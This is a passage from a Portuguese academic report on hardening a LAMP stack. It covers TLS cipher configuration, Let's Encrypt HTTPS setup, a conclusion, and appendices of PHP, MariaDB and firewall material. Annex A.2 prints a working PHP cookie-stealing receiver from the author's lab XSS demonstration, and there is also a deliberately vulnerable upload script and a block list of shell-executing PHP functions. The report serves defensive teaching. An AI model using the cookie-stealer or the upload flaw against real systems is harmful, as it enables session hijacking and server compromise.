se algumas das diretivas mais importantes. 
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Tabela 16 - Diretivas de configuração referentes ao mod_ssl 
Diretiva (Valor por omissão) Descrição 
SSLEngine (On) Permite a utilização dos protocolos 
SSL/TLS 
SSLProtocol (all -SSLv2) Especifica os protocolos com que os 
clientes se podem ligar ao servidor. 
Por omissão o protocolo SSLv2 está 
desativo.  
SSLCipherSuite 
(HIGH:MEDIUM:!aNULL:!MD5:!SEED:!IDEA) 
Cifras permitidas para negociação no 
handshake do SSL/TLS. 
SSLCertificateFile Caminho para o certificado do 
servidor. 
SSLCertificateKeyFile Caminho para a chave privada do 
servidor. 
SSLCACertificateFile Caminho para a Autoridade 
Certificadora (CA). 
 
Devido ao aumento do poder computacional, muitas cifras tornaram-se inseguras, como 
o MD5 e SHA1. Estas tornam-se mais fáceis de descodificar e por isso a sua utilização 
como forma de segurança é desaconselhada [153]. Os protocolos SSL/TLS utilizam cifras 
na negociação com o servidor e na configuração do módulo mod_ssl é possível definir 
que tipo de cifras podem ser utilizadas sendo que o OWASP recomenda a utilização 
apenas de cifras consideradas fortes [154]. O mesmo acontece com as versões dos 
protocolos SSL/TLS, o SSL passou a ser considerado inseguro e o OWASP recomenda 
que as versões 1, 2 e 3 do protocolo SSL não sejam utilizadas [154]. Como base de uma 
configuração segura, a Mozilla mantem um projeto com recomendações de segurança 
para a configuração do TLS em servidores, sendo que todos os seus sites e aplicações 
utilizam estas recomendações de segurança [155]. Estas recomendações são obtidas num 
gerador de configuração da Mozilla, onde de acordo com as versões do servidor e 
OpenSSL são dadas as configurações [156]. De seguida estão representadas as 
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configurações recomendadas pela Mozilla relacionadas com os protocolos e cifras a 
utilizar num ambiente seguro [156]: 
 
# modern configuration, tweak to your needs 
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1 
SSLCipherSuite          ECDHE-ECDSA-AES256-GCM-
SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-
POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-
GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-
SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-
SHA256:ECDHE-RSA-AES128-SHA256 
SSLHonorCipherOrder     on 
 
Na diretiva SSLProtocol é selecionada a versão 2 do TLS, desativando as versões 
inseguras do TLS e SSL. Nas cifras, diretiva SSLCipherSuite, são escolhidas as 
cifras suportadas pelo protocolo TLSv2, e todas com tamanhos de 128 ou 256 bits. A 
diretiva SSLHonorCipherOrder indica que a ordem das cifras imposta na diretiva 
SSLCipherSuite tem de ser cumprida. Quando se configura o módulo mod_ssl é 
preciso ter em conta as compatibilidades com os browsers dos clientes, pois alguns podem 
não suportar algumas das configurações definidas.  
6.3 HTTPS 
O HTTPS é um protocolo de comunicação utilizado em comunicações seguras que utiliza 
o protocolo de comunicação HTTP [157]. Esta comunicação é encriptada por TLS, ou 
nas versões antigas, SSL. O principal objetivo deste protocolo é garantir a autenticidade 
do website visitado e garantir a privacidade e integridade dos dados durante a 
comunicação [157].  
 O protocolo 
O protocolo HTTP permite a um cliente ter acesso a páginas disponibilizadas por um 
servidor web, neste caso o Apache HTTP Server. A comunicação, quando feita sem 
encriptação, é realizada através do porto 80 do servidor, com a utilização de um URL 
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com o prefixo "http" [158]. Visto o protocolo HTTP não utilizar encriptação, é possível 
que o tráfego seja alvo de ataques do tipo eavesdropping (intercepção de mensagens sem 
modificação das mesmas) ou man-in-the-middle (intercepção de mensagens e 
possibilidade de modificação das mesmas) [75]. Na Figura 36 é possível verificar uma 
mensagem intercetada através do WireShark no decorrer de uma comunicação através do 
protocolo HTTP [112].  
 
 
Figura 36 - Comunicação através do protocolo HTTP 
 
De forma a incorporar encriptação nas comunicações através do protocolo HTTP, foi 
criado o protocolo HTTPS, que utiliza o protocolo SSL/TLS para encriptar as mensagens 
que vão ser enviadas na comunicação [157]. Esta é feita através do porto 443 por omissão, 
acedido através do prefixo "https" no URL. Na Figura 37 está ilustrada uma 
mensagem HTTPS intercetada no decorrer da comunicação. No entanto é possível 
observar que, ao contrário do que acontece no protocolo HTTP e visível na Figura 36, 
esta mensagem está encriptada e é impossível aceder ao conteúdo daquela comunicação.  
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Figura 37 - Comunicação feita através do protocolo HTTPS 
 
Como referido anteriormente, o protocolo HTTPS utiliza o protocolo SSL/TLS que 
garante a autenticidade do site visitado e proteção e integridade dos dados trocados 
durante a comunicação [157]. No protocolo SSL/TLS, no estabelecimento de uma ligação 
segura, existe um processo entre o cliente e o servidor chamado Handshake e é neste 
processo que são estabelecidas entre eles as propriedades da ligação [108]. No inicio da 
ligação o cliente envia uma mensagem ao servidor com as propriedades que suporta 
(versões do protocolo SSL/TLS, cifras, entre outras) e, se o servidor encontrar 
compatibilidades com os seus recursos envia uma mensagem ao cliente onde aceita a 
ligação com as propriedades propostas e um certificado que autentica o servidor [157]. 
De acordo com o standard X.509, um certificado é considerado válido na Internet se tiver 
sido uma Certification Authority (CA) reconhecida a criá-lo, isto é, que a CA faça parte 
da hierarquia global de certificação ativa na Internet, ilustrada na Figura 38 [159]. O 
cliente vai receber o certificado enviado pelo servidor e, se este for autenticado, a partir 
da chave pública presente no certificado vai ser criada uma chave pré-mestre e enviada 
ao servidor, onde esta é desencriptada a partir da chave privada do servidor. A partir de 
dois valores trocados entre ambos no inicio da comunicação e as chaves pré-mestres, vão 
ser criadas chaves mestres utilizadas posteriormente para encriptar simetricamente os 
dados ao longo da comunicação. Geradas as chaves mestres, é trocada uma mensagem 
que indica o inicio da comunicação para um estado seguro. Durante a negociação da 
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ligação é utilizada encriptação assimétrica, contudo, visto esta encriptação gastar mais 
recursos, no resto da comunicação é utilizada encriptação simétrica [157].  
 
 
Figura 38 - Hierarquia global de certificação, adaptada de [159] 
  
De acordo com a hierarquia ilustrada na Figura 38, cada CA pode emitir certificados 
X.509, que possam representar outras CA, pessoas ou serviços, sendo que a CA de topo 
utiliza certificados assinados pela própria CA, os certificados self-signed [159]. Na Figura 
39 está exemplificado um certificado digital do tipo X.509, onde é visível os vários 
campos que comprovam a identidade do site, como o endereço que é certificado 
(*.reddit.com), assim como a organização (Reddit Inc.), a entidade emissora do 
certificado (DigiCert Inc), o período de validade e as assinaturas.  
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Figura 39 - Certificado digital do reddit.com 
 Configuração do HTTPS 
Na criação de um certificado para este projeto foi utilizado a CA Let’s Encrypt [160]. 
Esta CA é aberta, grátis e automática, que tem como objetivo tornar possível a 
configuração de servidores com HTTPS e obter automaticamente um certificado 
reconhecidamente de confiança através de um agente de gestão de certificados presente 
no servidor web, sendo que para esta demonstração foi utilizado o Certbot [160]. Este 
processo é dividido em duas etapas: o agente prova ao CA que o servidor web controla o 
domínio pretendido; criação de pedidos, renovações e revogações de certificados feitos 
pelo agente autorizado [161]. Na primeira etapa, o agente pergunta ao CA o que este tem 
de fazer para provar que controla um domínio (exemplo.com), e o CA emite um ou mais 
pedidos (challenges) ao agente (como fornecer um registo de DNS para o domínio 
pretendido ou modificar recursos num determinado URI do domínio) [161]. Juntamente 
com estes pedidos, é enviado ao agente um nonce (um número aleatório utilizado por 
protocolos de autenticação para garantir que as comunicações antigas não possam ser 
reutilizadas em ataques de repetição) para este assinar com a sua chave privada, com o 
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objetivo de provar que o agente controla o par de chaves utilizados [161]. Na Figura 40 
está representada a troca de pedidos inicial, onde o agente envia o domínio que quer 
certificar e a CA lhe faz os pedidos para provar que o domínio está no controlo do agente.  
 
 
Figura 40 - Pedido inicial feito ao CA Let's Encrypt, fonte [161] 
 
Satisfeitos os pedidos, estes são enviados ao CA e esta verifica a assinatura do nonce 
[161]. Se a assinatura e os restantes pedidos forem válidos, o agente identificado com a 
chave pública é autorizado a fazer gestão de certificados para o domínio pretendido 
(exemplo.com), como ilustrado na Figura 41 [161]. O par de chaves utilizados pelo agente 
denominam-se par de chaves autorizado para o domínio “exemplo.com”.  
 
 
Figura 41 - Verificação das provas enviadas pelo agente ao CA, fonte [161] 
 
A segunda etapa do processo de certificação consiste no pedido, renovação ou revogação 
de um certificado, possível com o par de chaves autorizadas do agente. Para obter um 
certificado para um domínio o agente cria um Certificate Signing Request (CSR) que vai 
pedir à CA Let’s Encrypt que emita um certificado para o domínio pretendido com uma 
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chave pública especificada [161]. O CSR vai incluir uma assinatura com a chave privada 
do par correspondente à chave pública especificada, sendo que o CSR vai ser assinada 
pelo agente com o par de chaves autorizado obtida na primeira etapa do processo, 
provando ao CA que o agente é autorizado. O CA vai verificar as assinaturas e se estas 
forem válidas, vai ser emitido um certificado para o domínio com a chave pública 
especificada no CSR [161]. Esta etapa está ilustrada na Figura 42. 
 
 
Figura 42 - Pedido de emissão de certificado à CA Let's Encrypt, fonte [161] 
 
Para se proceder à configuração do HTTPS é utilizada a aplicação Certbot, desenvolvida 
pela Electronic Frontier Foundation (EFF), e este utiliza o protocolo Automated 
Certificate Management Environment (ACME) para obter e configurar certificados 
SSL/TLS [162]. O processo de instalação empregue no sistema operativo Oracle Linux 
Server 7.4, sistema operativo em utilização neste projeto, está descrito no Anexo C.4 – 
Instalação do Certbot [163]. Através do Certbot, e dependendo do servidor web em 
utilização, é possível fazer uma configuração automática do certificado no servidor, 
contudo, neste projeto foi feita uma configuração manual. Este processo começa com a 
criação do certificado: 
 
# certbot certonly --webroot -w /var/www/html --email 
rcrdalmeida@outlook.pt -d rcrdalmeida.ddns.net 
 
A flag –webroot -w vai criar um novo caminho sob o diretório público do servidor, 
neste caso "/var/www/html", contendo dois challenges gerados automaticamente 
[164]. Quando são pedidos os certificados, o Let’s Encrypt vai verificar estes ficheiros 
para confirmar que o pedido de certificados é para o próprio servidor. A flag --email 
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especifica o endereço de e-mail do administrador do servidor web, utilizado para receber 
avisos de renovação por exemplo [165]. Por fim, a flag -d especifica o domínio que se 
pretende certificar [165]. Para esta configuração foi utilizado um serviço de DNS 
dinâmico, No-IP, para registar o domínio utilizado, rcrdalmeida.ddns.net. 
Executado o comando de criação do certificado, são criados vários diretórios em 
"/etc/letsencrypt" onde estão contidos os certificados e chaves necessárias à sua 
utilização. O certificado criado para o domínio especificado encontra-se no diretório 
"etc/letsencrypt/live/rcrdalmeida.ddns.net". A configuração do 
servidor web, para que este utilize o certificado, é feita no ficheiro 
"/etc/httpd/conf.d/ssl.conf", dentro da diretiva VirtualHost, sendo 
necessário configurar as diretivas ServerName, SSLCertificateFile e a 
SSLCertificateKeyFile. A diretiva ServerName é utilizada para identificar o 
servidor e o porto utilizado, sendo atribuído o valor rcrdalmeida.ddns.net:443 
[166]. A diretiva SSLCertificateFile diz respeito ao certificado do servidor  e a 
diretiva SSLCertificateKeyFile à chave privada do servidor [167]. A estas 
diretivas é especificado o caminho para o certificado e a chave privada: 
 
SSLCertificateFile 
/etc/letsencrypt/live/rcrdalmeida.ddns.net/fullchain.pem 
SSLCertificateKeyFile 
/etc/letsencrypt/live/rcrdalmeida.ddns.net/privkey.pem 
 
A configuração especificada anteriormente foi realizada em dois ambientes distintos: 
sistema operativo Raspbian, num Raspberry Pi 3 modelo B, com Apache 2.4.10; sistema 
operativo Oracle Linux Server 7.4, numa máquina virtual e com Apache 2.4.6. No 
primeiro ambiente, foi feita uma configuração automática, e nesta configuração apenas 
foram especificados o certificado do servidor e chave privada deste. Realizada uma 
avaliação à configuração do SSL, a partir do SSLLabs [168], foi atribuída uma nota de 
A-.  À mesma configuração feita no sistema operativo Oracle Linux Server 7.4 e avaliada 
pela mesma ferramenta, foi atribuída uma nota de B, ilustrada na Figura 43.  
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Figura 43 - Avaliação da configuração do SSL atribuída à configuração feita no Oracle Linux, fonte [168] 
 
A justificação dada para esta nota é a de que a corrente de certificados, certificate chain, 
está incompleta. Uma certificate chain é uma lista ordenada de certificados, que contem 
um certificado SSL e certificados CA que permitem verificar que um remetente e os CA 
são fidedignos [169]. A corrente começa com o certificado SSL e cada certificado na 
corrente é assinado pela entidade identificada pelo próximo certificado da corrente, como 
ilustrado na Figura 44 [169].  
 
 
Figura 44 - Caminho de certificação desde o dono do certificado até ao CA de raiz, fonte [169] 
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Qualquer certificado que fique entre o certificado SSL e o certificado Root é chamado de 
chain certificate ou Intermediate Certificate. Se o chain certificate não estiver instalado 
no servidor, pode levar a que browsers, dispositivos móveis e aplicações não confiem no 
certificado SSL [169]. Para solucionar o problema recorreu-se a uma ferramenta 
desenvolvida pela empresa SSLMate, chamada What’s My Chain?, que analisa a 
configuração do servidor e testa se a certificate chain utilizada no servidor é a correta 
[170]. O teste realizado nesta ferramenta reportou que o servidor estava mal configurado 
e disponibilizou a chain que corrigiria o problema, ilustrado na Figura 45.  
 
 
Figura 45 - Teste à configuração do certificate chain do servidor, fonte [170] 
 
Esta chain é a concatenação dos vários certificados CA em formato Privacy-enhanced 
Electronic Mail (PEM), de acordo com a ordem da certificate chain [171]. Esta chain, na 
configuração do servidor tem de ser atribuída à diretiva 
SSLCertificateChainFile: 
 
SSLCertificateChainFile 
/etc/letsencrypt/live/rcrdalmeida.ddns.net/rcrdalmeida.ddns.chain.crt 
 
Concluída a configuração, verifica-se que no teste da SSLLabs é agora atribuída uma nota 
A à configuração do SSL no servidor, como mostra a Figura 46. 
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Figura 46 - Teste à configuração SSL presente no servidor após correções, fonte [168] 
 
Através de um browser, é possível observar que as comunicações estão agora protegidas, 
como é possível verificar na Figura 47. 
 
 
Figura 47 - Ligação segura ao servidor 
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7 Conclusão 
Este projeto foi realizado no âmbito da segurança em servidores web, e tinha como 
principal objetivo documentar e testar um conjunto de configurações tendo em vista o 
aumento da segurança de vários componentes de uma stack LAMP, nomeadamente o 
PHP, a MariaDB e o Apache HTTP Server. Todas as configurações propostas foram 
analisadas e testadas recorrendo a scripts, programas externos e máquinas virtuais. Com 
este relatório procurou-se contribuir para uma melhor compreensão das várias 
vulnerabilidades e falhas de segurança que uma stack LAMP está exposta, ajudando assim 
administradores de sistemas a realizar uma melhor configuração e a colmatar falhas nas 
configurações já existentes. 
Relativamente ao PHP foram testados três grupos de configurações: relativas a erros, 
relativas a sessões e cookies, e outras configurações pertinentes à segurança do PHP. Em 
relação às configurações de erros, foram abordados a visualização de erros ao utilizador, 
os níveis de erros e os logs dos erros, sendo recomendado que estes não fossem mostrados 
ao utilizador, mas que fossem guardados em ficheiros de log com os níveis de erros 
recomendados pela documentação do PHP. Um dos pontos mais importantes da 
configuração do PHP faz referência às sessões e cookies. Existem diversas 
vulnerabilidades que tentam obter os dados de sessão e roubar os cookies, como ataques 
XSS, e por isso foi demonstrado um ataque deste tipo com o objetivo de roubar cookies 
de uma aplicação web. Nesta secção foram feitas várias recomendações de forma a que 
os cookies sejam protegidos, como serem transmitidos apenas em ligações seguras 
(HTTPS) e não serem acessíveis a linguagens de scripting. As configurações restantes 
que foram abordadas fazem referência às variáveis globais (register_globals), desativação 
de funções perigosas para o sistema, e upload de ficheiros para o servidor. Aqui foi 
testado um script que permitia fazer upload de imagens para o servidor, sendo que quando 
se acedia à imagem era executado um comando do sistema operativo guardado nos meta-
dados desta. Para que situações deste género não sejam possíveis, é sugerida uma lista de 
funções recomendáveis para serem desativadas, assim como a desativação de outras 
diretivas do PHP (allow_url_fopen e register_globals, por exemplo). 
Na componente de base de dados, MariaDB, foi abordado o script de segurança, 
mysql_secure_installation, fornecido no pacote de instalação do servidor, 
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utilizadores e privilégios associados a estes na inicialização do servidor, e configurações 
de segurança como logs, auditoria, e ligações seguras ao servidor. Por omissão, na 
instalação da MariaDB, são criados utilizadores anónimos e bases de dados de teste, que 
podem ser pontos de entrada para ataques ao servidor. Através do script de segurança 
fornecido na instalação, são eliminados utilizadores anónimos, apagadas as bases de 
dados de teste e atribuídas palavras passe aos utilizadores root. Outros pontos relevantes 
na configuração recomendada foi a utilização do TLS nas comunicações entre aplicações 
e servidor da base de dados, assim como a utilização da auditoria, em que foi utilizado 
um módulo para permitir a realização de auditorias de operação e acesso no servidor. Um 
dos ataques com maior destaque a servidores é o SQLi e por essa razão é também 
abordada a utilização das prepared statements que ajuda na prevenção deste tipo de 
ataques.   
A configuração do servidor web, Apache HTTP Server, incidiu sobre três secções: 
configuração segura através do ficheiro de configuração do servidor, proteção do servidor 
através da utilização de módulos e por fim, a configuração do HTTPS no servidor web. 
Na primeira secção deste capítulo são abordadas configurações como os métodos HTTP 
permitidos no servidor, headers para a proteção de aplicações web de ataques XSS, e 
algumas diretivas referentes à defesa contra ataques DoS ao servidor. Em relação aos 
módulos, foram tratados quatro módulos: o mod_security, que é uma firewall de aplicação 
em tempo real que faz controlo de acessos, cria logs e faz uma monitorização do tráfego 
do servidor web; o mod_ssl que vai permitir a configuração do HTTPS no servidor; os 
mod_evasive e mod_reqtimeout de forma a proteger o servidor de ataques DoS. Por fim 
foi analisada a configuração do HTTPS no servidor, com a utilização da AC Let’s Encrypt 
de forma a que o certificado criado seja possível de utilizar nos browsers atuais.  
No decorrer deste projeto existiram diversos obstáculos, quer na instalação de recursos 
necessários ou na realização de testes práticos, onde por vezes o resultado obtido não era 
o esperado. Apesar disso, todos os obstáculos que apareceram foram ultrapassados, sendo 
documentado ao longo do relatório qual a solução encontrada. 
Chegando o fim deste projeto, é possível dizer que houve um enriquecimento a todos os 
níveis. Foi possível aplicar alguns conhecimentos adquiridos durante a licenciatura, 
contudo, houve uma necessidade de adquirir novos conhecimentos que permitissem o 
desenvolvimento deste projeto, permitindo alargar conhecimentos em várias, e novas, 
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áreas. A nível pessoal, o trabalho realizado trouxe uma série de novos conhecimentos e 
aptidões que decerto vão ser uma mais valia para o meu futuro percurso pessoal e 
profissional. 
Como trabalho futuro, e para complementar este projeto, pretende-se a análise de 
segurança do primeiro componente da stack LAMP, o sistema operativo. A informação 
relativa aos outros componentes pode ainda ser melhorada com exemplos de ataques reais 
e verificação da sua mitigação pelas configurações sugeridas. Toda esta informação 
poderá ficar disponível na web em formato wiki, para que outros investigadores possam 
contribuir para a melhoria desta documentação e assim ajudar administradores e 
developers na melhoria de segurança dos sues sistemas web. 
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Anexo A – Anexos referentes ao PHP 
Anexo A.1 – Níveis de erros do PHP 
Nome da constante (valor 
bitmask) 
Descrição 
E_ERROR (1) Erros de execução fatais, como problemas de 
alocação de memória, que não podem ser 
recuperados. A execução do script para.  
E_WARNING (2) Avisos que são gerados durante a execução. A 
execução do script não para.  
E_PARSE (4) Erros de parse na compilação.  
E_NOTICE (8) Notificações que ocorrem durante a execução do 
script. Indica que encontrou um possível erro. 
E_CORE_ERROR (16)  Erros fatais que ocorrem durante a inicialização do 
PHP. Parecido ao E_ERROR mas este erro é gerado 
pelo núcleo do PHP. 
E_CORE_WARNING (32) Avisos que são gerados durante a inicialização do 
PHP, mas que não são fatais. Parecido ao 
E_WARNING mas gerado pelo núcleo do PHP. 
E_COMPILE_ERROR (64) Erros de compilação fatais. Idêntico ao E_ERROR 
mas é gerado pelo Zend Scripting Engine.   
E_COMPILE_WARNING 
(128) 
Avisos que são gerados durante a compilação do 
script. Idêntico ao E_WARNING, sendo que este é 
gerado pelo Zend Scripting Engine. 
E_USER_ERROR (256) Mensagem de erro gerada pelo utilizador. Idêntico 
ao E_ERROR mas é gerado com a utilização da 
função do PHP trigger_error(). 
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Nome da constante (valor 
bitmask) 
Descrição 
E_USER_WARNING (512) Mensagem de aviso gerada pelo utilizador. Idêntico 
ao E_WARNING, só que é gerada pela função do 
PHP trigger_error(). 
E_USER_NOTICE (1024) Notificação gerada pela utilização da função do PHP 
trigger_error(). Idêntico ao E_NOTICE. 
E_STRICT (2048) Permite que o PHP faça sugestões sobre alterações 
ao código que permitam que haja uma maior 
interoperabilidade e maior compatibilidade com 
versões posteriores do código. 
E_RECOVERABLE_ERROR 
(4096) 
Indica que um erro potencialmente perigoso ocorreu, 
mas que não deixou o sistema instável. Se o erro não 
for tratado pelo utilizador através da função PHP 
set_error_handler(), a aplicação aborta 
como se tivesse sido um E_ERROR. 
E_DEPRECATED (8192) Permite receber avisos acerca de incompatibilidades 
com versões futuras. 
E_USER_DEPRECATED 
(16384) 
Mensagem de aviso gerada pelo utilizador. Idêntico 
ao E_DEPRECATED mas gerado através da função 
PHP trigger_error(). 
E_ALL (32767 nas versões do 
PHP  5.4.x, 30719 nas versões 
do PHP 5.3.x, 6143 nas versões 
5.2.x e 2047 nas versões 
anteriores) 
Inclui todos os erros e avisos, se suportados pela 
versão do PHP, exceto o nível E_STRICT 
anteriores à versão do PHP 5.4.0. 
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Anexo A.2 – Script PHP para ataque XSS 
Código PHP utilizado para extrair o cookie num ataque XSS. 
 
<?php 
$cookie = $_SERVER['QUERY_STRING']; 
$dbname = 'cookie'; 
$dbserver = 'localhost'; 
$dbuser = 'root'; 
$dbpw = 'projetoseguro16'; 
 
mysql_connect($dbserver, $dbuser, $dbpw) or trigger_error("Unable to 
connect to database: " . mysql_error()); 
mysql_select_db($dbname) or trigger_error("Unable to switch to the 
database: " . mysql_error()); 
 
$sql = "INSERT INTO cookies_id (`cookie`) VALUES ('". $cookie ."');"; 
            $query = mysql_query($sql) or trigger_error("Query Failed: 
" . mysql_error()); 
 
header("Location: http://192.168.56.102/feedback.php"); 
die(); 
 
?> 
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Anexo A.3 – Upload de ficheiros 
Página de upload de ficheiros de imagem para o servidor. Código retirado de W3Schools 
[79]. 
<!DOCTYPE html> 
<html> 
    <body> 
        <form action="upload.php" method="post" enctype="multipart/form-data"> 
             Select image to upload: 
            <input type="file" name="fileToUpload" id="fileToUpload"> 
            <input type="submit" value="Upload Image" name="submit"> 
        </form> 
    </body> 
</html> 
 
Página que valida o upload. 
<?php 
$target_dir = "uploads/"; 
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); 
$uploadOk = 1; 
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION); 
// Check if image file is a actual image or fake image 
if(isset($_POST["submit"])) { 
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); 
    if($check !== false) { 
        echo "File is an image - " . $check["mime"] . "."; 
        $uploadOk = 1; 
    } else { 
        echo "File is not an image."; 
        $uploadOk = 0; 
    } 
} 
// Check if file already exists 
if (file_exists($target_file)) { 
    echo "Sorry, file already exists."; 
    $uploadOk = 0; 
} 
// Check file size 
if ($_FILES["fileToUpload"]["size"] > 500000) { 
    echo "Sorry, your file is too large."; 
    $uploadOk = 0; 
} 
// Allow certain file formats 
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" 
&& $imageFileType != "gif" ) { 
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; 
    $uploadOk = 0; 
} 
// Check if $uploadOk is set to 0 by an error 
if ($uploadOk == 0) { 
    echo "Sorry, your file was not uploaded."; 
// if everything is ok, try to upload file 
} else { 
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) 
{ 
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been 
uploaded."; 
    } else { 
        echo "Sorry, there was an error uploading your file."; 
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    } 
}?>  
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Anexo A.4 – Funções do PHP perigosas 
Tabela com as funções recomendadas para serem desativadas de acordo com o OWASP 
[85].  
 
Função Descrição 
system Executa um comando e mostra o resultado. 
exec Executa um comando. 
shell_exec Executa um comando pela Shell e retorna o resultado como 
uma string. 
passthru Semelhante à função exec() mas deve ser utilizada quando o 
resultado do comando forem dados binários. 
phpinfo Retorna informações acerca do PHP instalado no sistema. 
show_source Retorna o código fonte de um ficheiro com a sintaxe destacada. 
putenv Atribui valores a uma variável de ambiente.  
move_uploaded_file Move um ficheiro carregado para uma nova localização. 
chdir Muda o diretório. 
mkdir Cria um diretório. 
rmdir Remove um diretório. 
chmod Muda as permissões de um ficheiro. 
rename  Muda o nome de um ficheiro ou diretório. 
popen Cria um processo ao criar um caminho, ao fazer um fork de um 
comando ou ao invocar a Shell. 
proc_open Semelhante ao popen() mas oferece mais controlo em relação 
à execução do programa.  
fopen_with_path Abre um ficheiro com um caminho absoluto. 
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dbmopen Abre uma base de dados DBM. 
dbase_open Abre uma base de dados. 
filepro Lê e verifica os ficheiros .map. 
filepro_rowcount Verifica quantas linhas existem na base de dados do filePro 
filepro_retrieve Devolve informações acerca da base de dados do filePro. 
posix_mkfifo Cria um ficheiro FIFO que existe no sistema de ficheiros e atua 
como um ponto de comunicação bidirecional entre processos. 
 
  
Segurança na LAMP stack | Ricardo Almeida 
 
 
132 
Anexo B – Anexos referentes à MariaDB  
Anexo B.1 – Privilégios MariaDB 
Tabelas com os privilégios dos utilizadores na base de dados de acordo com a 
documentação da MariaDB [98]. 
 
Privilégios Globais 
Privilégio Descrição 
CREATE USER Criação de utilizadores. 
FILE Ler e escrever ficheiros no servidor host, a partir de 
funções como o LOAD_FILE(). O servidor da MariaDB 
tem de ter permissões para aceder a esses ficheiros.  
GRANT OPTION Permite atribuir permissões globais a um utilizador, mas 
apenas as permissões que se tem. 
PROCESS Mostrar informações acerca de processos ativos a partir do 
comando SHOW PROCESSLIST. 
RELOAD Execução de comandos FLUSH. 
REPLICATION 
CLIENT 
Executa comandos informativos sobre o master e slave 
através dos comandos SHOW MASTER STATUS e SHOW 
SLAVE STATUS. 
REPLICATION SLAVE Permite ter atualizações feitas no servidor master. 
SHOW DATABASES Mostra todas as bases de dados do servidor. 
SHUTDOWN Permite desligar o servidor host. 
SUPER Permite executar comandos de superuser no servidor host.  
 
Privilégios de base de dados 
Privilégio Descrição 
CREATE Criar uma base de dados a partir do comando CREATE 
DATABASE, quando este privilégio é atribuído para uma base 
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Privilégio Descrição 
de dados. É possível atribuir este privilégio a bases de dados 
que ainda não existem. Vai atribuir o privilégio CREATE a 
todas as tabelas da base de dados. 
CREATE ROUTINE Permite a criação de funções e procedimentos, a partir dos 
comandos CREATE FUNCTION e CREATE PROCEDURE 
respetivamente. 
CREATE 
TEMPORARY 
TABLES 
Permite a criação de tabelas temporárias, assim como escrever 
e eliminar estas tabelas.  
DROP Permite apagar uma base de dados. Vai atribuir o privilégio 
DROP a todas as tabelas da base de dados.  
EVENT Permite criar, apagar e alterar eventos. 
GRANT OPTION Permite atribuir privilégios de bases de dados. Só é possível 
atribuir os privilégios que se possui. 
LOCK TABLES Permite o bloqueio de tabelas a alterações, utilizando o 
comando LOCK TABLES. É preciso ter privilégios SELECT 
na tabela que se deseja bloquear. 
 
Privilégios de tabelas 
Privilégio Descrição 
ALTER Mudar a estrutura de uma tabela já existente na base de 
dados a partir do comando ALTER TABLE. 
CREATE Criação de tabelas com o CREATE TABLE. É possível 
atribuir este privilégio a tabelas que ainda não foram 
criadas. 
CREATE VIEW Criação de views a partir do comando CREATE_VIEW. 
DELETE Apaga colunas de uma tabela. 
DROP Apaga uma tabela, DROP TABLE, ou uma view, DROP 
VIEW. 
GRANT OPTION Permite atribuir permissões a um utilizador. Só é possível 
dar permissões que se possui. 
INDEX Criação de um índex de uma tabela com o CREATE 
INDEX. É possível criar indexes sem este privilégio, com 
o CREATE TABLE e também com o ALTER TABLE. 
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Privilégio Descrição 
INSERT Adiciona linhas a uma tabela. Este privilégio é possível de 
atribuir a colunas individuais. 
SELECT Lê dados de uma tabela, sendo possível atribuir este 
privilégio apenas a colunas individuais. 
SHOW VIEW Permite mostrar os detalhes do comando CREATE VIEW, 
com a execução do comando SHOW CREATE VIEW. 
TRIGGER Executa triggers associados à tabela que está a ser 
atualizada. Executa também o CREATE TRIGGER e o 
DROP TRIGGER. 
UPDATE Atualiza linhas existentes numa tabela. Para atribuir este 
privilégio é necessário o privilégio SELECT na tabela. É 
possível atribuir este privilégio a colunas individuais. 
 
Privilégios de colunas 
Privilégio Descrição 
INSERT 
(column_list) 
Permite adicionar colunas com valores específicos 
utilizando o comando INSERT. Se só se tiver privilégios 
de INSERT ao nível de colunas tem de ser especificadas 
as colunas que estão a ser alteradas no comando INSERT. 
SELECT 
(column_list) 
Permite ler valores em colunas com o comando SELECT. 
Não é possível aceder a colunas que não tenham o 
privilégio SELECT, incluído com as cláusulas WHERE, ON, 
GROUP BY e ORDER BY.  
UPDATE 
(column_list) 
Permite atualizar valores de colunas já existentes com o 
comando UPDATE. Este comando normalmente utiliza a 
cláusula WHERE e por isso tem de se ter o privilégio 
SELECT na tabela ou nas colunas utilizadas.  
 
Privilégios de funções 
Privilégio Descrição 
ALTER ROUTINE Permite alterar as características de uma função existente 
com o comando ALTER FUNCTION. 
EXECUTE Permite executar uma função. É preciso ter-se privilégios 
de SELECT para tabelas ou colunas acedidas pela função. 
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GRANT OPTION Permite atribuir privilégios de funções, mas apenas os 
privilégios que se possui. 
 
 
Privilégios de procedimentos 
Privilégio Descrição 
ALTER ROUTINE Permite alterar as características de um procedimento 
existente com o comando ALTER PROCEDURE. 
EXECUTE Permite executar um procedimento com o comando CALL.  
GRANT OPTION Permite atribuir privilégios de procedimentos, mas apenas 
os privilégios que se possui. 
 
Privilégios proxy 
Privilégio Descrição 
PROXY Permite a um utilizador ser um proxy para outro utilizador. 
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Anexo B.2 – Configuração firewall 
Script utilizado na firewall para prevenir scans ao servidor.  
 
#!/bin/sh 
# 
# 
# Script is for stoping Portscan and smurf attack 
 
### first flush all the iptables Rules 
iptables -F 
 
# INPUT iptables Rules 
# Accept loopback input 
iptables -A INPUT -i lo -p all -j ACCEPT 
 
# allow 3 way handshake 
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 
 
### DROPspoofing packets 
iptables -A INPUT -s 10.0.0.0/8 -j DROP  
iptables -A INPUT -s 169.254.0.0/16 -j DROP 
iptables -A INPUT -s 172.16.0.0/12 -j DROP 
iptables -A INPUT -s 127.0.0.0/8 -j DROP 
iptables -A INPUT -s 192.168.0.0/24 -j DROP 
 
iptables -A INPUT -s 224.0.0.0/4 -j DROP 
iptables -A INPUT -d 224.0.0.0/4 -j DROP 
